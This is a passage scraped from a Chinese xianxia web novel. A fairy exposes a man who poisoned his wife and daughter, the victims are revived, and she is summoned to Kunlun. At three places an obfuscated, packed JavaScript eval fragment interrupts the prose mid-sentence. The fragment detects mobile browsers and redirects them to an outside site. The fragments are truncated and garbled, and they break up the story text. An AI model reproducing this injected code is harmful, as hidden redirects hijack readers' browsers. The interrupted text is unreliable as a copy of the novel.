前世她走火入魔,误伤凡人无数,醒来后灵力便就常常失灵,经过这一天,她也已渐渐感觉出来,只要对着凡人,她就难使灵力。 “我想是吧。”果然还是自己最了解自己,璃音自嘲一笑,“只是我终究还是没那副圣女心肠,一听见这些凡人说要烧死我,就不管不顾,什么魂术都能使了。” 灵台里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283131|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那声音笑道:“没想到过了三百年,我竟还在怕火。” 这时,忽听得人群发出惊呼,璃音忙收敛心神,抬眼望去,就见程经武猛地里一阵捶胸顿足,跑去染池边上,一声爆喝,掀掉盖板,就将脸埋进了那一池子冰冷的染液里面。 璃音恐他窒息,忙跨步上前,一把将他脑袋捞起,哪知她刚一放手,程经武就又大喝一声,把头要往染液里埋。 璃音正要出手再捞,就听得人群中传来一声惊叫:“你们快看看,这池子上面是不是浮着两个人啊?!” 众人拥上前来,凝神一看,尽皆骇然。 染池中央果然浮着一大一小两具尸体,只因夜色遮挡,又因染液把人和衣服都染成了深蓝色,才叫人不易看清。 一人认出了那一具小的,失声叫道:“这……这不是染棠么?” 三娘女儿也认出了另一具大的,颤抖着声音道:“旁边那个,好像是……是虞婶婶!” 有大胆些的村民已经拿来长杆,将虞家母女两个尸体捞了上来,母女二人被染得全身是蓝,光是看这尸体,是什么也瞧不出了。 而池边上的程经武,仍旧一下一下地把头往染液里撞着,口中不住大喊:“要祭染神娘娘,祭染神娘娘……杀人了,染神娘娘杀人啦!” 账房先生见此情景,发出一声叹息:“也真可怜,虞老爷子才走不到半年,夫人和染棠竟也跟着走了,唯一活着的也疯了,这染坊算是完了。我下午给他报账的时候,看他精神头还算好,还想着染坊以后总算还有个着落呢。” 这时人群中突然有人小声议论起来:“哎哎,我说,你们还记得么,那个祭染神娘娘的传说。” “啊!是那个一家人除了丈夫,全被当了祭品的传说啊……” “对对对,是不是说有一家染布的商人,去娘娘画像前求晋皇商,许愿时许诺了诸般祭品,结果皇商的事竟真的成了,但这家人只说是自家布染得好,就没去给染神娘娘还愿。” “原来是这个,我想起来了,好像是一年后,这家人里除了丈夫,就都被人推在染池里死了!大家都说,是染神娘娘回来讨要祭品来了。” “都推在染池里死了啊……” 众人说到这里,都不由地看向二死一疯的虞夫人一家,这般情形,岂不就与那拒绝还愿而遭染神报复的一家人完全一致。 在璃音心中,锦云乃是位大义凛然、一心为民除害的正义仙子,如何会做出这等小肚鸡肠、戕害村民的恶事来,这民间传说委实不可信。 正没做道理处,忽听得灵台里那个声音道:“让开,我来。” 璃音只觉自身魂魄像是被人揪着后颈一提,就给提去了灵台一隅,接着手脚便不再受控,身子显然已被另一抹魂魄占领了。 叮铃……叮铃…… 引魂铃音清脆泠然,几声响过,旁边三娘的女儿突然抬头道:“娘,你有没有一种感觉……” 李三娘立刻接口道:“是不是感觉好像……好像自己突然变聪明了?” “也不能说是聪明吧,就是……就是……”三娘女儿努力想着措辞,“脑子里好像被鸡毛掸子扫过灰了,突然想什么都格外清楚。” 村民也都纷纷附和,只觉整个人仿佛灵台一扫,霎时五感通达,头脑清明。 只程经武仍旧疯癫癫的,一边大叫着“染神娘娘杀人啦”,一边往染池里撞着头。 “这世上,引魂铃只叫不醒一种人。”璃音听见自己冷哼一声,“那就是装神弄鬼之人。” 说着抬脚一踹,就把程经武整个人都踹翻进了池子里。 村民俱是一惊,立时就有人要去捞他上来。 如今正值晚冬,夜里的染液可赛得过刺骨寒冰,只消多待得一时片刻,里面的人必要冻死不可。 璃音却伸手把人一拦,声音比那池水还要冷上几分:“谁也别去捞,我倒要看看他上不上来!” 7. 第6章 另类妒火 村民刚听过引魂铃音,此刻神识正前所未有的清明,听了璃音的话,都立时会意,无人上前。 程经武扑腾几下,在冰凉的染液中站起身来,冬夜里冷风阵阵,没过一会儿,就已冻得嘴唇发紫,浑身发抖,他上下牙齿咯咯作响间,却仍不忘大叫:“染神娘娘要祭品!染神娘娘杀人啦!” “是谁在此胡言乱语!” 程经武正自喊叫间,忽有一个女声响起,这声音略带薄怒,回音凛凛,竟是自众人头顶上方传来。 众人抬头看处,只见半空中一位仙子脚踩祥云,头戴圣光,手持一把织布梭,身披一件五彩霓裳,正与那画像上的染神娘娘一般无二。 她在众人的一片拜倒声中翩然落地,眼神一扫,就瞧见一个站姿笔挺的青衣少女,正突兀地立在人群之中,毫无下拜之意。 璃音此刻缩在灵台一隅,见着锦云,难免不会想起月牢里那穿心的三剑,还有……还有当时她发间的那支白玉虎头钗。 只那三百年前的小璃音虽读过了记忆,却到底尚未亲历,行事仍是一副逍遥小仙的做派,当即便哒哒哒上前,把锦云拉去染池边上,指着程经武告起状来:“锦云仙子,这男人说你杀人讨祭,可是真的?” 灵台之中,璃音不禁感慨:那时的自己,当真是个一派纯然烂漫的小天真。 “璃音仙子,是你将我唤来的?”锦云看了眼被小天真拉住的胳膊,不自在地咳了一声。 她竟识得自己? 小天真也已经一脸天真地开口:“你认得我?” “也只是匆匆有过一面之缘罢了,仙子记不得也是正常。” 锦云说这话时神色古怪,璃音思来想去,却也实在记不起,自己在三百年前,曾在何处与她有过那一面之缘。 小天真显然也是搜寻了一番记忆,只是无果,于是摸摸鼻子,颇有些不好意思地一笑:“是在何处会过面么,我一时确实想不起了。” 锦云神色越发古怪,半晌没有应声,忽然就怒容大起,扭头冷眼望向程经武,提声喝问道:“你如何在此败坏我名声,我何时向你讨要了什么祭品,又杀了这里什么人了?” 璃音在灵台中默想:“你倒是真杀过这里一个人,可不就是我么?” 程经武呆呆站在冷水中,早已是动也不敢动,只剩上下牙齿不由自主地打着颤,哪里还敢说话。 锦云哼了一声,长袖一拂,便向虞氏母女二人施了个净体诀,两人尸身上立时染料褪尽,显出原本的样貌来。 小天真忙凑了上去,掰嘴扒眼地一番查看,得出结论:“此二人死状相似,均是肠穿肚烂,口中尚有硫磺残留,应是中了同一种毒,以致身亡。” 璃音在灵台中脱口道:“除草粉拌硫磺,今晚我正是被投了此毒。” “我如何会向凡人投毒,必是有人在作怪。”锦云说着往虚空里伸手一抓,便把程经武从池子里抓了出来。 程经武哆嗦着根本站不稳,脚一落地,就双膝一软,伏去了地上,只跪在染神娘娘脚边,一个劲地摇头道:“不是我……不是我……有人要害我……有人要害我啊娘娘……” “谁人作怪,一探便知。”小天真右掌青光闪动,啪的一下,就拍上了程经武的天灵盖。 锦云见她使出魂术,将手中木梭往上一抛,抛去半空里,向小天真说道:“璃音仙子,真相到底如何,便也给大家一起瞧瞧。” 小天真立时会意,右掌拍在程经武脑门,左手却去胸前捏诀:“锦云仙子,开始了。” 锦云闻言,双手结印,结出一朵空谷幽兰,只见空中木梭一亮一晃,飞来穿去,织云染雾间,便点染出两个夜雾做的人儿来,一男一女,一大一小,栩栩如生,在众人眼前活动了起来。 那少女玲珑娇小,梳一对丫髻,髻上绑着两根长长的发带,此时正扯着男人衣角撒娇:“爹爹,你就带我去嘛,要不然我今晚梦里全是三婶的酥饼香,一不小心,就要把枕头都沾得湿啦,到时候娘又要说我,好爹爹,你怎么忍心。” 男人道:“你也就敢在我面前放肆,有本事也这样去求你娘,看她答不答应。” 女孩立刻左一句“求求你啦”,又一句“好爹爹”地哀求起来,终于磨得男人松了口:“好吧,但是买完酥饼就回家,不许贪玩,明天一早我还要帮你娘去运缸。” 女孩欢呼雀跃,随男人上了街。 夜市上男来女往,十分热闹,女孩被男人牵在手里,欢欢喜喜去到了酥饼摊子上,随口便和那卖饼的大娘闲聊起来。 “三婶,你换新围裙啦!花样真好看。” “早晚都要给灶灰染成黑的,有什么好看不好看,你的彩棠锦,宫里娘娘看了都走不动道,那才叫真好看,可算是给你爹妈大大地长脸了。” “这是娘和爹染的,只是送给我用,怎好说是我的彩棠锦,那脸面也是他们自己挣下的。” “你也别说这话,谁不知道是你百天抓周的时候,随手捡了一块布胡扎乱缠,你爹娘拿去往布料上一染,就是一朵海棠,虞四爷和你娘都高兴得不得了,在村里逢人就说,这孩子天生就是要吃这碗饭的,虞记染坊后继有人啦。” “只可惜外公在年前走了,没见着这御供的风光。” “虞四爷过了百岁才走,这辈子也算有福气的了。只是你娘这半年来一个人管着染坊不容易,你后天过了生日,就算是大人了,也好慢慢开始接你娘的班了。” 这时候热乎乎的酥饼出了锅,女孩买了两张饼,回头时,却见父亲在怔怔地发呆,她扯扯父亲衣袖:“爹爹,我买好了,我们该回家啦。” 男人心不在焉地点点头,拉起女儿的手,往家去了。 没走两步,女孩忽然双手一拍,道:“有了!有了有了!爹爹!咱们快去染坊!” “今天晚了,你又想到什么新方子,明日再去试吧。” “这次不一样!我想到一个扎染纹样,定能让宫中娘娘欢喜的,今晚不去扎好,我怕明天就要忘记了!” 木梭飞舞间,云雾一散,又再聚拢,雾中人仍是这对父女,却已坐在了一间账室内。 “明天拿这个去给娘看,她一定会高兴的,我早晚要帮娘把虞记染坊开到京城去!”女孩收起扎染好的纹样,一脸兴奋,跑去染神娘娘画像前拜了三拜,“染神娘娘保佑,愿明日起缸顺利,也保佑我快快长大,好早日接过娘肩上的担子,不叫娘一个人这么辛苦。” 她拜完起身,就见父亲递过一杯茶来,泡的是白牡丹混一点茉莉花茶,正是她平时惯爱喝的。 “谢谢爹。”女孩接过茶水,一口气便喝掉了半盏,“刚才偷偷吃了半块饼,正有些口干了。” 她擦擦嘴,双手向上伸个懒腰,打起了哈欠:"爹爹,我困了,走不动啦,你抱我回家好不好。" “好。” 男人慢慢将女儿抱进怀里,让她坐在自己坚实的手臂上,便起身出门,走进了一片柳树林。 走了没一会儿,女孩忽然面有痛色,缩起身子:“爹爹,我好像吃坏肚子了……我……我现在肚里好难受……” 男人哄道:“染棠乖,你不是困了么,难受就闭上眼睛睡觉,睡一觉起来就好了。” 女孩额头冒出虚汗,显是剧痛难当,不受控地在男人怀里猛烈挣扎起来:“爹爹,你先放我下来,我好痛……我好痛啊……我是不是要死了?” 男人将女儿抱得更紧,快步在树林里走着,口中仍是哄道:“你只是吃坏了肚子,痛过了就好了,痛过这一阵……就不会再痛了。” 话音甫毕,就见女孩嘴角溢出白沫,小脑袋渐渐脱力,靠去了男人肩头上,没过一会儿,便连手脚也耷拉下来,再没了声息。 男人脚步一顿,眼中淌下泪来,他抱着女儿尚且温热的身子,在林中静立良久,直到晚风吹干了泪痕,才给女儿擦了嘴,又解下外衣要裹住她头脸,就在这时,他忽然停住,喃喃道:“发带,少了一根发带。” 他火急火燎往四下里找了一圈,没有找到,看看天色晚了,便仍旧把女儿抱在怀里,往家去了。 到得家中,妻子见女儿晚归,又靠在丈夫肩上睡着了,嗔怒道:“就你整日里惯着她,过两天要及笄的人了,做事还没半点大人样子。” 男人将女儿抱去房中,放去床上躺好,出来见妻子站在门口,脸上又是疼爱、又是担忧,出声宽慰道:“小女孩嘛,总是贪玩的,长大一些就好了。” 妻子叹道:“我生她生得晚,又只这一个女儿,如何不疼她。只是这几年年纪上来,我是越觉力不从心了,只盼着她能快点长大,再过个三五年,这染坊也准备交到她手里了。” 男人沉默半晌,忽然笑道:“有我帮你还不够么?” 妻子靠去男人怀里,柔声道:“武哥,谢谢你,这么多年帮衬着染坊,你也辛苦了,等染棠接手,咱俩就别管啦,给她招一个夫婿,让他们小辈自己去经营,咱们也该享享清福了。” 男人脸色变了又变,最后只拍拍妻子的肩头,说道:“夫妻之间道什么谢,都是我该做的。” 云雾散开再聚,已是到了次日清晨,男人早早起床,去到女儿房间,将她已经僵硬的身体抱了出来,塞进一口大缸,盖好了盖板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283132|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待到妻子整装出来,男人已将七八口大缸都装好了车,妻子又甜蜜地道了声谢,便和丈夫一起运车走了。 云雾又是一转,却已是到了染坊,男人趁着院中无人之时,将女儿从缸中抱了出来,扔进了刚开始发酵的染池里。 做完这些,一个染工急吼吼地跑来,冲他叫道:“东家,沈公子喊你快去他房里,说是找到染棠小姐的线索了!” 那男人只稍稍一愣,便立刻提步奔去了沈公子那间小屋,他见屋里绑着一个青衣少女,腰间正系着女儿那根遗失的发带,当即劈头问道:“你把染棠弄去哪儿了!” 那雾人儿演到这里,停了下来,后面的事,村民皆已知晓了,璃音收回手掌,待要再去探程经武今晚的记忆,却忽地身子一晃,险些踉跄摔倒。 “你怎么了?”锦云立时向她投去一瞥。 方才收掌时,小天真忽然就晕了过去,璃音忙接管了身子,略一站定,对锦云笑道:“无事,只是被这毒夫气着了,一时没站稳。” 此时村民看完故事全貌,早已是群情激奋,唏嘘不已,都指着程经武的鼻子,议论纷纷起来。 “这是父亲嫉妒女儿,亲手把自己的骨肉给毒害了呀!” “何止是女儿,搞不好虞夫人中的毒,也是这毒夫下的。” “必定是他,下午我去报账时,虞夫人晕着,我就报给了他,我看他那时的神情,并不怎么伤心,倒像是听享受了,说不准就是尝到了当大东家的滋味,起了歹念。” “毕竟是自己的妻女,日日朝夕相伴了十几年,怎么下得去手哟。” “怎么下不去手,虞四爷在的时候爱揽权,偏还身子骨壮实,染坊的大事小事一揽就揽到八十多岁,他这是以为虞四爷走了,染坊终于要轮到他管了吧,没想到妻子顶上了,这妻子想退下了,女儿又要顶上了,这是妻女只要在世一天,这家业就一天不是他的。” “那家业本也不是他的,他以前不过一个在码头搬货的伙夫,有天走了大运,在虞夫人下船时帮着扶了一把,就傍上了这户好人家,入赘了来。那虞家经营染坊赚来的钱,还不是每日供他吃、供他穿、尽他用的,他还有什么不知足!再说那家业他抢了来也未必运转得灵,娘娘看上他家彩棠锦,也托了染棠的福,和他有什么关系。” “作孽哟,这么能干的老婆,这么乖的闺女,旁人摊上一个都是几世修来的福分,他就为了男人那点可怜的自尊心,真是作孽哟。” “只是可惜了虞夫人和染棠,太可怜了,就没有法子能救上一救了么?” “你没听夏姑娘说,肠子都烂透了,除非幽冥司里放人,哪里还能死而复生。” 璃音就在这时忽然插口道:“这倒是有法子的。” 众人听说这话,不禁都停下议论,纷纷转头向她望去。 却是一旁的锦云仙子接口道:“凡人的魂魄要离体足足七日,阴差才来勾魂,在这七日之内,只要将魂魄召回,便能起死回生。” 说着,有些不赞同地看向璃音:“你是想要为她们招魂,是么?” 璃音确实有意为虞氏母女招魂,但招魂之术毕竟有违天地阴阳法则,对施术者损耗极大,她此时灵力难支,小天真又在体内昏睡不醒,招魂一事,她便是有心,恐也只能是无力了。 三娘女儿却已喜不自禁,拍手叫道:“如今七日未过,咱们还有两位大神仙在此,虞婶婶和染棠姐姐不怕没救啦。” 魂术一道极其凶险,素来只有各山灵巫才会修炼,锦云是织女宫中的仙子,即便仙法卓然,于此一道却也是不通的。 因而她只是摇摇头,淡淡道:“生死有命,富贵在天,真相既出,剩下的便不是我该管的了。”长袖拂过,脚下祥云陡升。 “璃音仙子,你也莫在此间久待,小心误了西王母的瑶池宴。”她回过头来,深深望了璃音一眼,“有人在等你回去的。” 话毕,便就踩着那朵悠悠浮云,飘然远去了。 村民中有人低声道:“染神娘娘这话,是终归救不了的意思么?” “不怕!我们还有夏姐姐在呢!”三娘女儿立时跳了出来,将璃音拉去两具尸体跟前,“夏姐姐,你打算什么时候开始?要有什么行头么,祭台,符纸,还是燃香?我们立刻给你准备起来。” 人群纷纷应和:“是是是,夏姑娘需要什么,尽管开口,我们保准给你凑齐了。” 啊这……璃音在众人期盼的眼神中,有些心虚地摸了摸鼻子。 就在她不知如何开口之际,忽从小门处传来一个声音:“招魂伤身,这种事怎好麻烦外人,还是让我来吧。” 8. 第7章 瞅你咋地 璃音循声望去,只见从门外走进来一女一男,女的约莫二十来岁,柳眉杏目,英英玉立,男的看着要小上几岁,眉目稍冷,也颇有几分姿色,冬日夜凉,两人却都只穿一件制式相同的浅蓝春衫,右手里都握一柄入鞘长剑。 “宛初姐姐!宛言哥哥!”三娘女儿见了这二人,惊喜无已,立刻叫道,“太好啦!又来了两个大神仙,虞婶婶和染棠姐姐是一定能活啦!” 人群也均是惊喜交集,立刻亲热迎上,都嘘寒问暖起来。 虞宛初向众人一一回了礼,说道:“我和阿言收到姑母飞鸽快信,知道染棠出事,立刻就下了山赶来。” 她望向默默伏跪在地的程经武,神色里添上几分愠怒:“只没想到还是晚了一步,叫你把姑母也暗害了,此等险恶心肠,怎配为人夫、为人父!” “阿姐,你同这种人间渣滓废话什么。”虞宛言唰的一声,抽出手中长剑,面露冷笑,“血债须得血来还,不若就给他肚子上开一个洞,叫他也尝尝这腹痛等死的滋味,等放干了血,再把他的那些心肝肠肺掏出来,看看是不是都是黑的。” 璃音自诩石头心肠,此时听了那少年言语,也不禁心里一阵发毛,暗想:“这少年看着浓眉大眼、仙风秀骨的,不想行事说话竟如此阴暗狠辣。” 她前世做过大恶人,回想起来,只觉得死亡根本是一种解脱,反不及在千夫所指声中,于月牢里苟活的三百年来得煎熬,忍不住向那阴暗少年开口道:“你此时杀了他,却还是便宜他了。倒不如解他去官府,将罪行一一供述清楚,呈文存世,最好再排几出戏文,四方游唱,遗臭万年,那才叫好罚。” 那阴暗少年闻言,立刻十分阴暗地向璃音投来一瞥,那眼神寒气森森,便像一根冰锥子直戳璃音眼底,叫她不由得打了个寒颤。 “阿言,不得无礼,把犯人绑了,押去里正家中,然后赶紧给姑母和染棠招魂才是正事。”虞家姐姐一声喝止,那少年轻轻从鼻子里哼了一声,才终于不情不愿地收了目光,跨步走开,拿绳索去了。 听方才他们与村民的寒暄,璃音已大致厘清了这对姐弟的身份:他们原是虞家村人士,因父母早亡,自小便寄居在姑母虞夫人家中,六年前因缘际会,竟被路过此地的一位白发道姑瞧中根骨,她便将姐弟二人都收作亲传弟子,带去了山中修行。 凡间的这些修仙门派,一向爱教导弟子看透凡尘,清心寡欲,要他们斩断亲缘,胸吞云梦,万事不萦于怀。这姐弟俩也不知拜的是哪门哪派,清修六载,倒仍是性情中人,其中一个还把心性修得如此……阴暗潮湿,璃音不禁在心中啧啧称奇。 便在此时,忽听得程经武一声大叫:“不是姑父,不是姑父啊!阿言,你不能绑我!” 他原一直不声不响地伏在地上,此时见虞宛言扯了绳索绑来,忽地大跳起身,扑去掐住了璃音脖子乱吼:“是这个妖女!是她串通了染神娘娘,使了妖术来骗你们的!你们看到的那些都是假的!是假的!” 这人直到此刻还不知悔悟,死不承认,当真是死倔的烂人一个,没得救了,璃音用力偏头躲过口水喷射,正好面向那阴暗少年,突然就觉得,他方才那开膛破肚的提议甚好甚好。 忽听啪的一声,原来是虞家姐姐带鞘出剑,往程经武后脑轻轻一敲,那大块头男人立时便被卸了力气,白眼一翻,晕倒在地。 “多谢。”璃音忙抚着胸口顺了口气,倒不是被掐脖子惊的,而是被那口水吓的。 虞宛初淡淡一笑,从怀里掏出一沓黄纸符咒,挑选起来。 璃音凑上前去一看,退煞符、赤灵符、祛病符、五岳镇宅符、小儿止啼符……各类符纸应有尽有,甚至还有一张请神谕令符,一笔一画都是正宗道教符文,看来她们拜的确实是个正经门派。甚好 璃音心念一动,说道:“方才是你们烧的请神令,唤来的染神娘娘?” “不错。”虞宛初点头间,挑出了两张叫魂符。 那却怎么只留了地点,没留下请神人的姓名?否则锦云仙子何以误会是自己把她唤来的。璃音心中困惑,欲要发问,却听得身边姐弟俩轻声争执了起来。 “你修行未到,使这个术法太过勉强。” “你的身子如何禁得住这般损耗,怎么也该是我来。” “我尚支持得住,难道你连我的话也不听了?” “阿姐!” 弟弟还欲说些什么,姐姐却已双指一夹,将那两张叫魂符夹住,闭目念诵起来:“三清在上,玄黄开道。阴阳交泰,魂魄归朝。” 然后低声重复起虞氏母女的死因、籍贯、姓名等情,待复诵至第三遍,符纸忽地燃起一簇火苗,此时风向北刮,火苗却朝南摆动。 虞宛初立即转身向南,气沉丹田,大声喝道:“魂兮归来!南方不可以止些。归来兮!莫教故人伤春心!” 喊完这句,却有些气力不支,踉跄一步,哇的一声,喷出一大口鲜血来。 “虞姑娘!” “阿姐!” 璃音和少年同时低呼一声,忙伸出手来,一左一右将她扶住。 “我没事。”虞宛初稳住身形,又再凝神闭目,向南提声大喊,“归来兮!莫教故人伤春心!” 那少年微松口气,就见到阿姐胳膊上扶着别人的一只爪子,立刻一掌拍掉,并狠狠向那人瞪去一眼:“松手!你离我姐姐远点。” 这一眼瞪得璃音莫名其妙,这人什么情况?阴暗潮湿也就罢了,还爱把好心当做驴肝肺! 她本就讨厌任何“弟弟”身份的人类,此时心头火起,更是被激出睚眦必报的本性来,便也去他手上一打,算是还过一掌,又狠狠回瞪他一眼:“你也离我远点!” 那少年怒道:“你瞪我做什么?” 璃音故意撑圆双眼:“我天生眼睛大,看人就这样。” “有病。” 那少年白了她一眼,便不再理会,专心去护持姐姐施法。 便在这时,符纸上蓦地火苗大盛,虞家姐姐睁开眼,喜道:“来了!”说着便去到尸体跟前,将手中符纸一人一张往母女俩头上贴了。 村民也都围了上前,大气不敢出,屏息等着她二人醒来。 直等了一柱香,眼看符纸就要烧尽,却仍旧无人转醒,众人脸上神色便都有些忐忑起来。 三娘女儿忍不住小声道:“虞婶婶和染棠姐姐还能回……”话未说完,就被李三娘捂了小嘴。 璃音见虞宛初脸色惨白,额头冒汗,显是已经透支,心想:我此时灵力虽不中用,法器却说不定好使。 于是从腰间掏出引魂铃,去母女二人耳边分别一摇。 叮铃——叮铃—— 两声脆亮铃音响过,不消片刻,就见虞夫人眼突然皮弹起,猛吸一口气,翻身剧烈咳嗽起来,紧接着,躺在旁边的虞染棠也胸腔起伏,细细地咳出声来。 人群骤然爆发出一阵欢呼,虞宛初长舒一口气,终于支持不住,晕在了弟弟怀里。 璃音见母女二人捂着肚子,咳嗽不止,知是她们肚腹中仍有余毒,忙从怀中取出大毛送来的绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283133|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色小瓷瓶,倒出两颗排毒养心丸,一人一颗塞去她们嘴里,再抬头对那少年说道:“喂,祛病符,拿两张过来。” 少年又白她一眼,才从怀里拣出两张符纸,递了出去。 符一上身,母女二人便止了咳嗽,面色也渐有回转,两人缓过神来,见了彼此,立时涌出热泪,抱作一团,这个不住口地喊娘,那个不停唤着乖女。 李三娘见此母女重聚的场面,不禁一手搂过自己的女儿,一手偷偷擦起泪来。 “姑母。”那少年抬脚一踢,便将昏迷的程经武踢去了母女二人身边,“这害了你和妹妹性命的恶人,你打算如何处置?” 见这朝夕相伴、又害死自己的人滚至身边,母女二人皆是一默。 虞染棠抬头,望向那少年,似是不愿相信地道:“小草哥哥……真的是爹……是他害的我们吗?” 听到“小草哥哥”这称呼,璃音忍不住噗嗤一笑。 “你笑什么?” 那少年立刻冷冷向璃音横去一眼,才又转头对虞氏母女二人道:“就地杀了,还是送官,听你们的。” 虞夫人摇头,颤声道:“我……我不知道。” 她看向那张曾夜夜睡在枕边的面庞,此时却是说不出的陌生,不禁伸出手,触上他的面颊:“武哥……” 谁知手刚碰上那面皮,程经武就眼珠一转,睁开眼来,竟是刚好醒了。 只听两人同时惊呼出声,虞夫人是不意他突然醒来,小有惊吓,程经武却是活生生见了鬼,大叫一声,从地上跃起,却不想晕得久了,腿上没劲,又受了惊,脚下一个趔趄,便就仰天跌倒,砰的一声,后脑磕在石头砌成的染池边上,鲜血迸出,身子往下一滑,就此断气。 “武哥!”虞夫人尖叫一声,捂住了女儿的眼睛。 璃音见此结局,心中却也无甚波澜,这男人就这样死了,倒是便宜了他,于是转头就向李三娘八卦道:“三娘三娘,他为什么被叫做‘小草哥哥’啊?” 三娘正自唏嘘,却是她女儿抢着答道:“那是虞婶婶给他们姐弟俩取的小名,宛初姐姐叫小花,宛言哥哥叫小草。” 说到一半,神神秘秘附耳过来,璃音知道这是八卦要来了,忙竖起了耳朵,只听她继续说道:“我听说呀,虞婶婶从小就爱那些花呀草呀树呀的,在她七八岁的时候,村里本来商量好了,要砍了后面那片柳树林,改种苏木,结果被她知道了,死活不同意,去林子里抱着一棵大柳树,一天一夜不肯撒手,这才把那柳树林保住的。” “还有这事。”璃音心中一动,“宛言这个名字也是虞夫人给起的?” 三娘女儿笑道:“没错,宛初是她亲母起的,宛言却是虞婶婶给起的。” 宛言,沈言。 璃音失笑,她大概猜出那棵被虞夫人抱了一天一夜的大柳树是谁了。 就在这时,忽地空中传来一声鸾鸟清啼,众人抬头望去,只见半空里飞来一只青鸾,体型巨大,足有人高,它拍拍翅膀,略一盘旋,便停去了璃音跟前,说道:“璃音仙子,王母传令,要你速跟我去瑶池相见。” 璃音一呆,实没想到自己竟有这般大的排面,让王母亲派青鸾使者来催,她正要躬身回礼,就觉屁股后面鸟头一拱,整个身子就给拱去了那鸾鸟背上。 璃音:“……”多少觉得有点冒昧了。 她尚来不及翻身坐稳,便听得一声长啼,接着身下一颠,嘴里呛进好大一口冷风,却是鸾鸟振翅连挥,载着兀自迎风咳嗽的她,穿云破雾,往昆仑仙山疾飞而去。 9. 第8章 摇光星君 不过半盏茶功夫,璃音便已被带至昆仑山上,她此刻蓬头垢面,眼里还噙着两汪被风呛出来的泪花,那青鸾今日不知何故,飞得格外迅疾,不知有什么急事要赶。 她游目四顾,眼前瑶碧青翠,耳旁九井叮咚,隐隐还听得远处凤凰鸣响,几名面熟的小仙侍正手托玉盘瓷碗,说笑着走过,遥遥见了她,便就点头欢笑,向她示意,显是正要赶去瑶池,筹备那三百年才有一次的盛宴。 幽静祥和中又自有一派热闹,正是她熟悉的昆仑景象。 只是一年后,这些美景便被毁了个干净彻底,昆仑突发恶灵暴乱,山上的十位神巫,都为镇压狂暴恶灵,以身献祭,开启血灵法阵而亡,便连那位神威赫赫的北斗第七星君摇光,也为守护昆仑舍生忘死,一道陨落在那场旷世暴乱之中了。 而她呢?那时她一路追着逃逸的恶灵头子鬼王下了山,身为昆仑仅剩的一位灵巫,她本该倾尽所有,为万民除害、为众仙报仇的,可她却…… 她微微仰头,眨了眨眼,努力眨走眼中泛出的几点水光,这次却不再是受了风吹,而是受那物是人非、又再失而复得的复杂心绪侵扰。 她本早已做好打算,等虞家村事了,就去寻那位摇光星君,求借他的破军神剑一用,自裁谢罪,还了前世冤孽。她以为自己早已活得够了,不想再活,但当此刻熟人熟景如此生动地回到眼前,她却又贪恋起来。 她记得瑶池开宴这天早上,商止师兄会来敲响她还音殿的门,笑吟吟地说:“阿横,商月给你准备了好东西,又不好意思自己送来,叫我带给你呢。” 那天她收到的是一件青玉流仙裙,虽看上去不及锦云仙子身上那件五彩流仙裙璨然夺目,却极尽典雅质素,又不失灵动活泼,穿在身上有如轻纱拢玉,走动间隐有玉石相撞的铮铮之声,正暗合着她名字的“璃音”之意,是她收过最用心的礼物了。 她算了算时间,这时商止师兄已差不多要去敲门了。 璃音正提步要往还音殿里去,却听得不远处一个声音对她招呼道:“小璃音到啦,快过来。”正是西王母。 是了是了,前世她换上衣裙出门后,便在这条路上遇着了正在闲谈的玉帝与西王母,被招去闲聊了几句。 她原是凭借着一桩大功德飞升的,这在天宫中属实罕见,或许就是因着这个缘故,西王母对她素来爱护有加,赏了她无数稀罕法宝,那时更是拉着她的手,在玉帝面前把她夸了个天花乱坠:“这位璃音仙子我最看好,她可是我们昆仑山上最乖、最厉害的小仙子啦。” 也正因她是凭功德飞升的,在凡间时,便没辟过一天谷,没修过一天术法仙身。那些修士百年如一日,清心寡欲、五谷不沾,才慢慢熬出的仙身,她平白因着王母赏下的玉横便有了。各派弟子们勤修苦练、历尽天劫才得的道,她一到昆仑山上,王母便说她已悟了。 故而那时候的她“乖”倒是“乖”的,但法术修习时日尚短,要说什么“最厉害”,却不免叫她听得手心冒汗、面红耳热。 此时她听了王母召唤,只好恭恭敬敬上了前,见她身边站着玉帝,唱喏行礼道:“参见娘娘,参见陛下。” 她自觉礼法无亏,但眼前这二位却不知为何都没有应声,而是无言震撼地凝视着她头脸。 璃音疑惑间伸手去脸上摸了一圈,并未摸出什么异样,又抬手往头上一探,这才终于给她探出了缘由:原来适才骑在鸾鸟背上时,风吹刘海吹得太狠,那额前的头发便就被吹得根根上竖,立在了头顶,她默默把那几根呆毛压回原位,不料那刘海竟已被吹定了型,手一松,那头发便又弹了上去。 